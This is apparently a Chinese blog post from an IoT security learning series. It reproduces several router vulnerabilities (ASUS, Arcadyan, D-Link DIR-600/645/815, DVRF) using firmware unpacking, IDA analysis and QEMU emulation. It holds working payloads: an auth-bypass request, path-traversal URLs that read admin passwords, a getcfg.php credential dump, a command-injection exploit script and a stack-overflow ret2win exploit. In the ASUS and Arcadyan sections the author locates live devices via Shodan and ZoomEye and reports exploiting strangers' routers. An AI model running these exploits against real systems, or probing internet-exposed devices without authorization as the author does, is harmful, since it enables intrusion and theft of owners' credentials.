1. Posts/

IoT漏洞复现记录

··13389 字·27 分钟
IoT学习记录 IoT
作者
ta0lve
一些记录,一点思考
IoT学习小记 - This article is part of a series.
Part 2: This Article
如果本博客部分文章图片加载失败, 可以点击此处查看解决办法

漏洞基本信息格式:

漏洞基本信息
- 漏洞编号
- 漏洞类型 
- 漏洞利用效果
- 漏洞披露时间
- 漏洞描述 
- 设备型号
- 设备架构
- 复现进度
  -  漏洞复现
  -  静态分析
  -  动态调试
- 受影响的漏洞组件 
  - 文件名
  - 功能
  - 技术栈:(脚本语言
- 定位漏洞组件的方法和工具
  - 污点分析
  - 静态分析工具 
  - 动态调试工具 

ASUS(华硕) #

CVE-2021-32030 #

CVE - CVE-2021-32030 (mitre.org)

advisories/ATREDIS-2020-0010.md at master · atredispartners/advisories (github.com)

漏洞基本信息 #

  • 漏洞编号:CVE-2021-32030
  • 漏洞类型: 身份验证绕过
  • 漏洞利用效果:对管理员界面的未经授权的访问
  • 漏洞披露时间:20210505
  • 漏洞描述:
    • ASUS GT-AC2900管理员应用程序在处理未经身份验证的用户的远程输入时,容易受到身份验证绕过漏洞的攻击,从而导致对管理员界面的未经授权的访问
  • 设备型号:低于 3.0.0.4.386.42643 的 ASUS GT-AC2900 设备
  • 设备架构:ARM
  • 复现进度:
    • 已进行静态分析
  • 受影响的漏洞组件 :
    • 文件名:httpd
    • 功能:用于处理用户发送的 HTTP 请求
  • 定位漏洞组件的方法和工具:
    • 静态分析工具
      • ida(32位)
      • ghidra

解包 #

  • 固件下载链接:https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_30043848253.zip
  • binwalk 解包之后得到一个 100000.ubi 文件
  • 使用 ubi_reader 继续解包
  • 在 /usr/sbin/ 目录下找到一个叫做 httpd 的程序
    • 此程序用于处理用户发送的 HTTP 请求
$ wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_30043848253.zip

$ unzip FW_RT_AX56U_30043848253.zip

$ cd Firmware_Release

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release ls
RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w
###

$ binwalk -Me RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w  

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls
100000.ubi  ubifs-root
###

$ ubireader_extract_files 100000.ubi

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls ubifs-root/1589911850/rootfs_ubifs 
bin    cifs2  debug  etc   jffs  mmc  opt   rom   sbin  sysroot  usr  www
cifs1  data   dev    home  lib   mnt  proc  root  sys   tmp      var
###

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted/ubifs-root/1589911850/rootfs_ubifs/usr/sbin ls |grep http      
httpd
httpds
lighttpd
lighttpd-arpping
lighttpd-monitor
###

$ file httpd
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
###

$ checksec httpd
###
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
###

漏洞分析 #

  • 使用 IDA 分析程序
    • 搜索 httpd_handle_request 字符串可找到处理请求的入口位置
    • httpd_handle_request 函数逻辑简述如下

首先对请求进行简单解析,利用 strncasecmp 等字符串操作函数从用户请求中匹配出一些结构,并将这些数据赋值到对应的变量。

image-20240222165056036

然后过滤 URL,防止出现路径穿越。

image-20240222165033016

之后根据用户访问的 URL 和 Method 执行不同逻辑,但所有需要身份验证的接口都要经过函数 auth_check(sub_5B560),此函数从 Cookie 中获取 asus_token 参数的值,然后带入 sub_59588 进行检查

image-20240222165507029

image-20240222165146633

我们注意到函数先从配置文件中获取 ifttt_token 参数的值,然后将 asus_token 和它比较,如果两者相等,则输出IFTTT/ALEXA long token success.

同时返回 1,表示身份验证通过。

image-20240222170215469

但是在设备的默认配置下,IFTTT 功能没有开启,这导致 ifttt_token 默认值为空

  • 此时如果用户传入的 asus_token 也是空值
  • 则 strcmp 会返回 0 表示比较成功
  • 这样就能绕过后续的检查,实现身份验证绕过。

poc:

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

新版 auth_check 函数将代码修改为

if ( *a1 && *nvram_safe_get_0("ifttt_token") && (v2 = nvram_safe_get_0("ifttt_token"), !strcmp(a1, v2)) )
{
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
        Debug2File(
        "/tmp/IFTTT_ALEXA.log",
        "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n",
        "check_ifttt_token",
        1020);
    result = 1;
}

首先判断 asus_token 是否为空,避免用户传入空值的情况出现,从而修复了此漏洞。

漏洞复现 #

由于该设备我们qemu模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch,因此,在本地较难复现

使用 shodan https://www.shodan.io/ ) 查找到还在用此路由器设备的站点

可以复现漏洞,但是这样做不太好()

CVE-2021-20090 #

漏洞基本信息 #

  • 漏洞编号:CVE-2021-20090

  • 漏洞类型: 身份验证绕过

  • 漏洞利用效果:对管理员界面的未经授权的访问

  • 漏洞披露时间:20201217

  • 漏洞描述:

    • Arcadyan制造的网络设备的Web界面中有一个路径遍历漏洞,可允许未经身份验证的远程攻击者绕过身份验证。
    • 由于根本原因存在于底层 Arcadyan 固件,且有多个厂商采用了 Arcadyan 开发的系统套件,故CVE-2021-20090 影响很多设备
  • 设备型号:

    • Buffalo WSR-2533DHPL2 固件版本 <= 1.02 和 WSR-2533DHP3 固件版本 <= 1.24

    • Vendor Device Found on version
      ADB ADSL wireless IAD router 1.26S-R-3P
      Arcadyan ARV7519 00.96.00.96.617ES
      Arcadyan VRV9517 6.00.17 build04
      Arcadyan VGV7519 3.01.116
      Arcadyan VRV9518 1.01.00 build44
      ASMAX BBR-4MG / SMC7908 ADSL 0.08
      ASUS DSL-AC88U (Arc VRV9517) 1.10.05 build502
      ASUS DSL-AC87VG (Arc VRV9510) 1.05.18 build305
      ASUS DSL-AC3100 1.10.05 build503
      ASUS DSL-AC68VG 5.00.08 build272
      Beeline Smart Box Flash 1.00.13_beta4
      British Telecom WE410443-SA 1.02.12 build02
      Buffalo WSR-2533DHPL2 1.02
      Buffalo WSR-2533DHP3 1.24
      Buffalo BBR-4HG
      Buffalo BBR-4MG 2.08 Release 0002
      Buffalo WSR-3200AX4S 1.1
      Buffalo WSR-1166DHP2 1.15
      Buffalo WXR-5700AX7S 1.11
      Deutsche Telekom Speedport Smart 3 010137.4.8.001.0
      HughesNet HT2000W 0.10.10
      KPN ExperiaBox V10A (Arcadyan VRV9517) 5.00.48 build453
      KPN VGV7519 3.01.116
      O2 HomeBox 6441 1.01.36
      Orange LiveBox Fibra (PRV3399) 00.96.00.96.617ES
      Skinny Smart Modem (Arcadyan VRV9517) 6.00.16 build01
      SparkNZ Smart Modem (Arcadyan VRV9517) 6.00.17 build04
      Telecom (Argentina) Arcadyan VRV9518VAC23-A-OS-AM 1.01.00 build44
      TelMex PRV33AC 1.31.005.0012
      TelMex VRV7006
      Telstra Smart Modem Gen 2 (LH1000) 0.13.01r
      Telus WiFi Hub (PRV65B444A-S-TS) v3.00.20
      Telus NH20A 1.00.10debug build06
      Verizon Fios G3100 2.0.0.6
      Vodafone EasyBox 904 4.16
      Vodafone EasyBox 903 30.05.714
      Vodafone EasyBox 802 20.02.226
  • 设备架构:ARM

  • 复现进度:

    • 已成功复现
    • 已进行静态分析
  • 受影响的漏洞组件 :

    • 文件名:httpd
    • 功能:用于处理用户发送的 HTTP 请求
  • 定位漏洞组件的方法和工具:

    • 静态分析工具
      • ida(32位)
      • ghidra

解包 #

$ wget wget https://dlcdnets.asus.com/pub/ASUS/wireless/DSL-AC88U/FW_DSL_AC88U_11005502.zip                  

$ unzip FW_DSL_AC88U_11005502.zip  

$ binwalk -Me DSL-AC88U_v1.10.05_build502.w  

$ cd _DSL-AC88U_v1.10.05_build502.w.extracted

$ ubireader_extract_files 2C0000.ubi 

$ ls ./ubifs-root/0/rootfs_ubifs 
###
bin  bootfs  data  dev  etc  lib  mnt  opt  proc  ramdisk  rom  sbin  sys  tmp  usr  var  www
###

$ file httpd   
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
###

$ checksec httpd
###
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8000)
    RWX:      Has RWX segments
###

漏洞分析 #

根据Juniper威胁实验室发现的在野漏洞利用细节,发现攻击者在url中通过..%2f来遍历访问/images上层路径中的文件,疑似路径遍历漏洞

使用IDA加载httpd程序,字符串窗口搜索/images

image-20240222182817336

发现在sub_DEB0函数中使用了该字符串

image-20240222183015153

分析sub_DEB0函数的功能

  • 大致是通过遍历数组,判断数组中是否存在某个元素是传入参数的子串
  • (此处strncasecmp函数是根据数据元素的长度来进行比较的)
  • 存在则返回1,否则返回0
  • 猜测传入的参数大概率是请求路径,而字符串/images/恰恰是数组的第一个元素,分析数组中元素的字面意思,推断都是在无需登录情况下就可以访问的路径或文件(在未登录的情况下应该也能访问一些图片、htm等文件)

继续查看sub_DEB0函数的交叉引用,发现如下逻辑关系

当sub_DEB0函数返回1时,a1+30376地址处的内容被修改为1

image-20240222183824132

a1+30376地址地址处内容与另一个函数sub_1D578的返回值存在‘或’的判断, 如果a1+30376地址处内容为1, 那么函数sub_1D578的返回值无论是什么,结果都为真

查看函数sub_1D578,在该函数中发现了对SID值的校验。并且在对路由器登录抓包过程中发现,当登录成功后,请求其他文件时,会携带一个cookie值,而cookie中就存在SID这个变量。

sub_1D578函数中调用的sub_1D0C0函数的部分伪代码

image-20240222184200528

sub_1D0C0函数中调用的sub_1CE8C函数的部分伪代码

image-20240222184332222

所以只需要保证sub_DEB0返回值==1即可绕过cookie SID的校验。

而满足sub_DEB0() == 1只需要路径包含指定路径即可,如上图中的/images/、/lang/、/js/、/css/等。

但是,上述指定路径限制了我们访问敏感API或敏感页面。此时,结合路径穿越漏洞,可解除指定路径的限制,实现未登录状态下对任意api/url的合法访问。

再看一下搜索一下字符串,可以看到sub_14C30函数有一个"process_post"字符串

image-20240222185114970

发现sub_14C30函数将url放入sub_DF50函数进行处理

image-20240222185323106

而sub_DF50函数又会将url传入sub_167A8函数

sub_167A8函数里存在一个可以与之前漏洞结合起来使用的漏洞点:会跳过特定内容将后续的东西拷贝到前面,从而更换url的内容

image-20240222190328679

即这个函数会把/api/../test给转换成/test

结合先前的内容,将url前放入预定义的数据,后面接上/../xxx,就不需要认证即可访问xxx,造成认证绕过漏洞。

例如:/images/../apply_abstract.cgi

程序先匹配到 /images,绕过登录,然后替换 /../ 导致后续访问的是 /apply_abstract.cgi 接口,实现身份验证绕过

漏洞复现 #

由于该设备我们qemu模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch,因此,在本地较难复现

使用 shodan https://www.shodan.io/search?query=tew-751dr ) 查找到还在用表格中路由器设备的站点

使用zoomeye(https://www.zoomeye.org/discover)来查找也可以

部分还在用表格中型号路由器设备的站点,可能因为已经升级为了新固件版本,所以poc没有打通

经过几次尝试,访问http://某ip/images/../apply_abstract.cgi

会直接跳转到http://某ip/apply_abstract.cgi

然后弹出身份验证提示

点击取消之后可以发现已经开始下载apply_abstract.cgi文件了

image-20240224140231882

漏洞复现成功

可以复现漏洞,但是这样做不太好()

D-Link(友讯) #

D-link的以往固件可以在下列网站上找到:

D-Link | Technical Support | Downloads (dlink.com.tw)

Index of /pub/Router (dlink.ru)

CVE-2017-12943 #

漏洞基本信息 #

  • 漏洞编号:CVE-2017-12943
  • 漏洞类型: 绝对路径遍历攻击
  • 漏洞利用效果:通过绝对路径遍历来读取密码信息
  • 漏洞披露时间:20170818
  • 漏洞描述:
    • 带有 v2.x 固件的 D-Link DIR-600 Rev Bx 设备允许远程攻击者通过型号/__show_info.php读取密码?REQUIRE_FILE= 绝对路径遍历攻击
  • 设备型号:D-Link DIR-600 Rev Bx
  • 设备架构:
  • 复现进度:
    • 已进行静态分析
  • 受影响的漏洞组件 :
    • 文件名:httpd
    • 功能:用于处理用户发送的 HTTP 请求
  • 定位漏洞组件的方法和工具:
    • 静态分析工具
      • ida(32位)
      • ghidra

解包 #

Index of /pub/Router (dlink.ru)

# 安装sasquatch
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ cd sasquatch && ./build.sh

# binwalk:
$ sudo apt-get install build-essential autoconf 
$ git python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
$ sudo pip install pyqtgraph capstone

# 解决 No module named pkg_resources 的问题
$ sudo apt-get install --reinstall python-pkg-resources
$ wget http://files.dlink.com.au/products/DIR-600/REV_B1/Firmware/Firmware_v2.05/DIR600B_FW205b01.bin

# $ wget https://github.com/d4rk30/CVE-2017-12943/blob/master/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

$ sudo binwalk -Me DIR600B_FW205b01.bin
# $ sudo binwalk -Me FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

$ ls ./etc/templates/httpd/

image-20240224015904162

image-20240223182144591

漏洞分析 #

# 在_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model 可以看到_show_info.php文件
$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model
$ code _show_info.php

image-20240224020743068

可以看到在第 17 行,存在一个路径拼接的问题

其中 require 是引入文件的函数,直接访问当前页面,前面的变量 $LOCATE_PATH 在当前页面没有引入,所以默认是空

所以我们可以构造paylaod来通过绝对路径遍历读取文件

同时我们可以看到在 /etc/templates/httpd 下面有一个 httpasswd.php 输出的是用户名密码

$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/etc/templates/httpd

$ code httpasswd.php

image-20240224021308632

所以我们就可以构造payload直接访问这个页面来获得账号密码

# paylaod:
localhost/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php

漏洞复现 #

# firmware-analysis-toolkit
$ ./fat.py /home/iot/vul/D-Link/CVE-2017-12943/DIR600B_FW205b01.bin

# firmAE
$ sudo ./run.sh -r dir600 /home/iot/vul/D-Link/CVE-2017-12943/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

fat仿真失败了,不过firmAE成功了,所以接下来进行本地漏洞复现

image-20240224014233463

image-20240224014441339

手动测试漏洞:

直接输入192.168.0.1/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php

获得账号密码

image-20240224014615311

成功登入:

image-20240224014858370

也可以使用exp来复现漏洞:

# localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

import requests
url = "http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=./etc/templates/httpd/httpasswd.php"
r = requests.get(url)
print (r.text)
print (r.json)

image-20240224014800363

DIR320 #

复现过程及漏洞原理与CVE-2017-12943类似

$ wget https://ftp.dlink.ru/pub/Router/DIR-320/Firmware/old/DIR-320A1_FW121WWb03.bin

# 提取固件
binwalk -Me DIR-320A1_FW121WWb03.bin

# 仿真
$ sudo ./init.sh
###
[sudo] password for ubuntu:
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
###

$ sudo ./run.sh -r dir320 /home/iot/vul/D-Link/CVE-2017-12943/DIR-320A1_FW121WWb03.bin

image-20240224020015110

# payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

# 直接转到:
http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

image-20240224020054889

DIR645 #

复现过程及漏洞原理与CVE-2017-12943类似

$ sudo ./run.sh -r dir645 /home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin

$ sudo ./run.sh -r dir645 ./home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin
 /home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin emulation start!!!
 extract done!!!
 get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
# payload:
# http://192.168.0.1/getcfg.php
# post:SERVICES=DEVICE.ACCOUNT

$ curl -d "SERVICES=DEVICE.ACCOUNT" "http://192.168.0.1/getcfg.php"

exp:

import requests
url = "http://192.168.0.1/getcfg.php"
#payload = "SERVICES=DEVICE.ACCOUNT"
payload = {"SERVICES": "DEVICE.ACCOUNT"}
data = payload
#data = data.encode("utf-8")
r = requests.post(url, data)
print (r)
print (r.text)
➜  /home/iot  python3 exp.py 192.168.0.1
<Response [200]>
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>DEVICE.ACCOUNT</service>
    <device>
        <gw_name>DIR-645</gw_name>

        <account>
            <seqno>2</seqno>
            <max>2</max>
            <count>2</count>
            <entry>
                <uid>USR-</uid>
                <name>admin</name>
                <usrid></usrid>
                <password>adminhello</password>
                <group>0</group>
                <description></description>
            </entry>
            <entry>
                <uid>USR-1</uid>
                <name>user</name>
                <usrid></usrid>
                <password>userhello</password>
                <group>101</group>
                <description></description>
            </entry>
        </account>
        <group>
            <seqno></seqno>
            <max></max>
            <count>0</count>
        </group>
        <session>
            <captcha>0</captcha>
            <dummy></dummy>
            <timeout>600</timeout>
            <maxsession>128</maxsession>
            <maxauthorized>16</maxauthorized>
        </session>
    </device>
</module>
</postxml>

CNVD-2018-01084 #

漏洞基本信息 #

  • 漏洞编号:CNVD-2018-01084

  • 漏洞类型:远程命令执行

  • 漏洞利用效果:可执行任意命令

  • 漏洞披露时间:20180117

  • 漏洞描述:

    • D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。
  • 设备型号:D-Link DIR 615/645/815

  • 设备架构:mips

  • 复现进度:

    • 已成功复现
    • 已进行静态分析
    • 已进行动态调试
  • 受影响的漏洞组件 :

    • 文件名:httpd
    • 功能:用于处理用户发送的 HTTP 请求
  • 定位漏洞组件的方法和工具:

    • 静态分析工具
      • ida(32位)
      • ghidra
  • service.cgi 远程命令执行漏洞
  • 学习远程命令执行类漏洞的查找与利用方式

[ 原创] CNVD-2018-01084 漏洞复现报告-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析_cnvd-2018-01084复现-CSDN博客

D-Link | Technical Support | Downloads (dlink.com.tw)

解包 #

$ wget https://ftp.dlink.ru/pub/Router/DIR-815/Firmware/RevA/Old/DIR815A1_FW101b09.bin

image-20240224023454211

静态分析 #

参考 CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)-二进制漏洞-看雪-安全社区 进行分析

checksec检查一下二进制文件:

image-20240224174547747

将其拖进IDA中先进行静态分析。

首先进入main函数,可以在66行看到service.cgi与传入的第一个参数v3相比较

image-20240224211709027

image-20240224211627769

当传入的第一个参数是service.cgi,比对成功后,会进入servicecgi_main函数。

我们先对servicecgi_main这个函数整体的调用路线进行一个宏观的分析:

右键查看外部引用至图表(说实话我也是第一次使用这个,还真不错)

image-20240224212314196

image-20240224212242294

我们猜测漏洞点存在于这里的system函数处,它是由lxmldbc_system函数调用的

所以我们在函数里面搜索 lxmldbc_system 并查看其伪代码

image-20240224212649549

lxmldbc_system函数中,会先进行一个格式化字符串的拼接,再将拼接好的字符串作为system的参数调用,因此,这里的确可能存在一个可被利用的点:

接着,我们对servicecgi_main函数的流程进行一个分析:

(1)先获取环境变量REQUEST_METHOD进行判断

img

当请求方式为GET的时候,会跳到标签10,而这个标签10在调用lxmldbc_system函数的下面:

img

所以,为了利用到lxmldbc_system中的漏洞,我们的请求方式只能为POST

(2)分析cgibin_parse_request函数

然后,会调用到cgibin_parse_request函数,这个函数会先调取环境变量REQUEST_URI,并对其先以?进行字符串分割:

img

再进到sub_402B40函数中,发现这里会再以=进行一次字符串分割,对=后的内容再以&进行分割:

img

这其实就是对一个URL字符串的解析过程,分割后的字符串,都会被存放进内存中,具体存放在哪里,不太好直接通过静态分析看出。

之后,在cgibin_parse_request函数中,对CONTENT_TYPE这个环境变量进行了一个判断:

img

这里先对环境变量CONTENT_TYPE中的内容的前v17位与v18进行一个比对,比对正确后就会调用一个未知的函数,这里的v18其实是off_42C014中的内容,而v17就是其后四个字节的内容:

img

也就是说,我们**CONTENT_TYPE的前12位得是application/**才能过这个判断。

之后调用到的那个未知的函数也不方便直接通过静态分析看出,在之后动态调试的时候可以很清楚地看到,不过,这里需要注意一下传入这个未知函数的第三个参数v7,其实就是CONTENT_LENGTH这个环境变量:

img

(3)分析sess_ispoweruser函数

在之后,会需要绕过sess_ispoweruser函数,不然无法通过认证:

img

这个函数会调用到sess_validate函数,其中会再调用到sess_get_uid函数,在里面有对HTTP_COOKIEREMOTE_ADDR这两个环境变量的获取,这里就不作具体分析了。

接着,在sess_validate函数中会继续调用到sub_407660这个函数,其中会打开/var/session/...的文件:

img

这个文件显然我们用qemu模拟的环境中是没有的,因此我们需要将sess_ispoweruser这个函数的相关判断给patch(直接将跳转命令改成nop空指令),不然就不便于进行后续利用了(会在这里卡住):

单字节修改 0x40A398 地址

image-20240224214329169

image-20240224214435088

然后保存即可

这样就直接跳过sess_ispoweruser函数的认证检验了,patch过的二进制文件替换htdocs目录下原有的文件即可

(4)一些静态分析看不出来的操作

再然后,会调用sub_40A1C0函数进行一些判断:

img

显然,判断的结果若是满足v6!=0是最好的,因为这里if分支其实大体上都是对v9格式化字符串进行赋值,而v6!=0分支中的内容最简单,下面else分支中的内容会很复杂,当经过这个判断之后,有了**v9这个格式化字符串作为参数**,就可以直接走到lxmldbc_system函数进行漏洞利用了。

不过,这里sub_40A1C0函数中具体判断的内容不太好直接通过静态分析看出:

img

这里的a1就是传进去的EVENT / ACTION / SERVICE这些参数,但是后面的v3[2]应该是用户可控的一个字符串,但是并不知道指向内存的何处。

同样地,lxmldbc_system函数中,vsnprintf函数的参数va(也就是拼接到前面format格式化字符串中的内容)不知道指向内存的何处,va_start函数同样不知道指向哪里:

这些都不好通过静态分析直接得出,但是可以猜测都是用户可控的,再联想到之前的REQUEST_URI环境变量分割出的字符串被存放在了内存中,我们也并不知道具体的存放位置,因此,可以猜测这里取的内存就是在之前存放的,为了验证这一观点,我们需要进行动态分析来调试。

动态调试 #

首先,我们需要知道如何向main函数传递参数argv和设置环境变量:

image-20240224180845930

我们可以用-0选项传递第一个参数,用-E选项设置环境变量,用-L选项做到类似于更改根目录的效果,用-strace选项追踪程序执行时进程系统调用和所接收的信号,方便调试。

我们按顺序,先来调试一下CONTENT_TYPE环境变量中application/后应该设置成什么,也就需要知道这里进入的未知函数是什么:

if ( !strncasecmp(v14, v18, v17) )
              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(
                       a1,
                       a2,
                       v7,
                       &v14[v17]);

看到对应的汇编:

image-20240224212921859

最后的跳转命令在0x40346C处,因此,调试的时候我们可以在这里下一个断点

先启动qemu用户模式:

$ qemu-mipsel -g 9988 -L . \ 
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="test" \
    -E CONTENT_LENGTH="5" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    ./htdocs/cgibin
# 另开一个终端
$ gdb-multiarch ./htdocs/cgibin
# gdb输入命令:
target remote:9988

image-20240224030027023

image-20240224172552927

image-20240224175150660

可以很清晰地看到,那个我们静态分析不好看出来的未知函数就是0x403b10

IDA里找到0x403b10的位置,并创建函数

image-20240224213111498

接着就可以查看伪代码了:

image-20240224213204241

可见,CONTENT_TYPE环境变量的后面应该是x-www-form-urlencoded,匹配成功后,就会进入sub_402FFC函数,在其中会有一个read函数,需要我们读入数据:

sub_402FFC 函数的伪代码:

image-20240224213341550

这里的v7也就是a3,是我们在cgibin_parse_request函数中传入的环境变量CONTENT_LENGTH,根据之前的分析,我们需要这个函数的返回值v4大于零,只要读入合法的数据即可。

这一部分就分析到这,接下来再验证之前的猜想:sub_40A1C0函数中所取的内存是否为之前REQUEST_URI环境变量所分割出的字符串?

我们已经知道了REQUEST_URI大体的分割模式,因此可以设REQUEST_URI="aaa?bbb=ccc"的形式,启动命令如下:

$ qemu-mipsel -g 9988 -L . \ 
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="aaa?bbb=ccc" \
    -E CONTENT_LENGTH="5" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    ./htdocs/cgibin

image-20240224174904392

sub_40A1C0strcmp的地方对应的汇编处(0x40A200)下一个断点:

image-20240224213723862

在之前随便输入十个字符,最后停止了断点处

image-20240224180150371

由此可知,strcmp的第二个参数就是环境变量REQUEST_URI?=之间的字符串

用同样的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va参数就是环境变量REQUEST_URI=之后的字符串

至此,我们完成了对/htdocs/cgibin这个二进制文件中的漏洞分析,显然,我们将;{cmd};拼接进格式化字符串,由于;可连接两个独立语句并执行,这样就能执行我们的cmd命令了

exp #

from pwn import *
context(os = 'linux', arch = 'mips')
 
string = "winmt"
length = len(string)
 
print("----- CNVD-2018-01084 -----\n")
cmd = input("command > ")
 
io = process(f'''
    qemu-mipsel -L . -strace \
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH={length} \
    -E REQUEST_URI="?EVENT=;{cmd};" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE="uid=winmt" \
    -E REMOTE_ADDR="127.0.0.1" \
    ./htdocs/cgibin
''', shell = True)
 
io.send(string)
io.interactive()

DVRF项目 #

praetorian-inc/DVRF: The Damn Vulnerable Router Firmware Project (github.com)

通过利用DVRF项目来进一步分析设备固件,挖掘固件中存在的安全漏洞。该项目的目的是模拟真实设备环境,帮助人们了解 除x86_64 空间之外的其他 CPU 架构

解包 #

$ binwalk -Me DVRF_v03.bin

image-20240224151015891

DVRF stack_bof_01 #

静态分析 #

image-20240224151824352

放入ghidra中进行分析

image-20240224161319569

获取参数后,未校验长度赋值给局部变量造成栈溢出

而且可以看到有后门函数 0x00400950:

image-20240224152530332

所以我们可以利用栈溢出来覆盖返回地址的值来是程序运行到后门函数

动态调试 #

与平时打pwn时对二进制程序进行gdb调试差不多,

不同在于mips架构需要再qemu上运行

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/Intro/stack_bof_01 "`cat content`"
# 注意要在cat content的外面加上“”

# 另开一个终端
$ gdb-multiarch ./pwnable/Intro/stack_bof_01
# gdb爱输入命令:
set arch mips 
set endian big/little 
target remote remote:9988

# 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就可以慢慢单步调试

image-20240224160535083

exp #

生成payload:

from pwn import *

context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = b'a'*0xc8+b'b'*0x4
payload += p32(backdoor)


with open("stack_bof_01_payload","w") as file:
 file.write(payload.decode())

成功getshell:

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

image-20240224154151290

使用pwntools库来编写exp:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

backdoor = 0x0040095c 

payload = b'a'*0xc8 + b'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
 file.write(payload.decode())

sh = process(b"sudo chroot . ./qemu-mipsel-static  ./pwnable/Intro/stack_bof_01  \"`cat stack_bof_01_payload`\"".decode() ,shell=True)

sh.interactive()

注:

rop ret2win 时在 x86 平台下我们直接设置 ip寄存器到后面函数的地址就可以了

但是有时在mips架构上我们设置完$pc 寄存器可能会出现报错:访问了非法内存

原因在于,在 MIPS 中,函数内部会通过 $t9 寄存器和 $gp 寄存器来找数据,地址等。

